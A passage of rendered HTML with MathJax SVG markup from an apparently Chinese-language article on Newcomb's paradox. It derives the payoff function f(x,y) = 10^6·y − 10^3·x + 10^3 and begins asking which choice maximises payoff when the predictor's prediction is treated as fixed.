-247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="block" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; overflow: hidden; width: 100%;"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mo stretchy="false">(</mo><msup><mn>10</mn><mn>6</mn></msup><mo>⋅</mo><mi>y</mi><mo stretchy="false">)</mo><mi>x</mi><mo>+</mo><mo stretchy="false">(</mo><msup><mn>10</mn><mn>3</mn></msup><mo>+</mo><msup><mn>10</mn><mn>6</mn></msup><mo>⋅</mo><mi>y</mi><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mn>1</mn><mo>−</mo><mi>x</mi><mo stretchy="false">)</mo></math></mjx-assistive-mml></mjx-container><p>规定 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.025ex;" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>x</mi></math></mjx-assistive-mml></mjx-container> 和 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.464ex;" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>y</mi></math></mjx-assistive-mml></mjx-container> 的取值为 0-1。</p>
<p>将其化简后，我们得到最终的收益函数：</p>
<mjx-container v-pre tabindex="0" class="MathJax" jax="SVG" display="true" style="direction: ltr; display: block; text-align: center; margin: 1em 0; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="30.384ex" height="2.565ex" role="img" focusable="false" viewBox="0 -883.9 13429.7 1133.9" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z" style="stroke-width: 3;"/></g><g data-mml-node="mo" transform="translate(550,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z" style="stroke-width: 3;"/></g><g data-mml-node="mi" transform="translate(939,0)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z" style="stroke-width: 3;"/></g><g data-mml-node="mo" transform="translate(1511,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z" style="stroke-width: 3;"/></g><g data-mml-node="mi" transform="translate(1955.7,0)"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z" style="stroke-width: 3;"/></g><g data-mml-node="mo" transform="translate(2445.7,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z" style="stroke-width: 3;"/></g><g data-mml-node="mo" transform="translate(3112.4,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z" style="stroke-width: 3;"/></g><g data-mml-node="msup" transform="translate(4168.2,0)"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(1033,413) scale(0.707)"><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" style="stroke-width: 3;"/></g></g><g data-mml-node="mo" transform="translate(5827,0)"><path data-c="22C5" d="M78 250Q78 274 95 292T138 310Q162 310 180 294T199 251Q199 226 182 208T139 190T96 207T78 250Z" style="stroke-width: 3;"/></g><g data-mml-node="mi" transform="translate(6327.2,0)"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z" style="stroke-width: 3;"/></g><g data-mml-node="mo" transform="translate(7039.4,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z" style="stroke-width: 3;"/></g><g data-mml-node="msup" transform="translate(8039.7,0)"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(1033,413) scale(0.707)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z" style="stroke-width: 3;"/></g></g><g data-mml-node="mo" transform="translate(9698.4,0)"><path data-c="22C5" d="M78 250Q78 274 95 292T138 310Q162 310 180 294T199 251Q199 226 182 208T139 190T96 207T78 250Z" style="stroke-width: 3;"/></g><g data-mml-node="mi" transform="translate(10198.7,0)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z" style="stroke-width: 3;"/></g><g data-mml-node="mo" transform="translate(10992.9,0)"><path data-c="2B" d="M56 237T56 250T70 270H369V420L370 570Q380 583 389 583Q402 583 409 568V270H707Q722 262 722 250T707 230H409V-68Q401 -82 391 -82H389H387Q375 -82 369 -68V230H70Q56 237 56 250Z" style="stroke-width: 3;"/></g><g data-mml-node="msup" transform="translate(11993.1,0)"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(1033,413) scale(0.707)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z" style="stroke-width: 3;"/></g></g></g></g></svg><mjx-assistive-mml unselectable="on" display="block" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; overflow: hidden; width: 100%;"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo>,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><msup><mn>10</mn><mn>6</mn></msup><mo>⋅</mo><mi>y</mi><mo>−</mo><msup><mn>10</mn><mn>3</mn></msup><mo>⋅</mo><mi>x</mi><mo>+</mo><msup><mn>10</mn><mn>3</mn></msup></math></mjx-assistive-mml></mjx-container><p>这就引出了悖论中最核心的分歧点：我们该如何定义 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.464ex;" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>y</mi></math></mjx-assistive-mml></mjx-container>？</p>
<h3 id="q-若-y-为常数-x-取多少能最大化收益" tabindex="-1">Q: 若 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.464ex;" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>y</mi></math></mjx-assistive-mml></mjx-container> 为常数，<mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.025ex;" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>x</mi></math></mjx-assistive-mml></mjx-container> 取多少能最大化收益？ <a class="header-anchor" href="#q-若-y-为常数-x-取多少能最大化收益" aria-label="Permalink to “Q: 若  为常数， 取多少能最大化收益？”">&#8203;</a></h3>
<p>如果把那个“超级预测机”的预测看作昨天就已经发生、今天绝对无法改变的既定事实，那么 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.464ex;" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>y</mi></math></mjx-assistive-mml></mjx-container> 就是一个常数。</p>
<p>在上述公式中，<mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.025ex;" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>x</mi></math></mjx-assistive-mml></mjx-container> 的系数是负数（<mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.186ex;" xmlns="http://www.w3.org/2000/svg" width="5.01ex" height="2.139ex" role="img" focusable="false" viewBox="0 -863.3 2214.6 945.3" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z" style="stroke-width: 3;"/></g><g data-mml-node="msup" transform="translate(778,0)"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(1033,393.1) scale(0.707)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z" style="stroke-width: 3;"/></g></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math 